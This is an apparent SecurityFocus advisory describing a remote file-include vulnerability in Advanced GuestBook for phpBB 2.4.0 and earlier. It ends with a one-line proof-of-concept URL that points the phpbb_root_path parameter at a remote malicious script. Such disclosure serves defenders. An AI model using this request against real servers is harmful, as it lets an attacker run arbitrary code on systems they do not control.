source: http://www.securityfocus.com/bid/17745/info

Advanced GuestBook for phpBB is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Versions 2.4.0 and prior are reported vulnerable.

http://www.example.com/[phpbb_path]/admin/addentry.php?phpbb_root_path=http://www.example.com/[badscript]?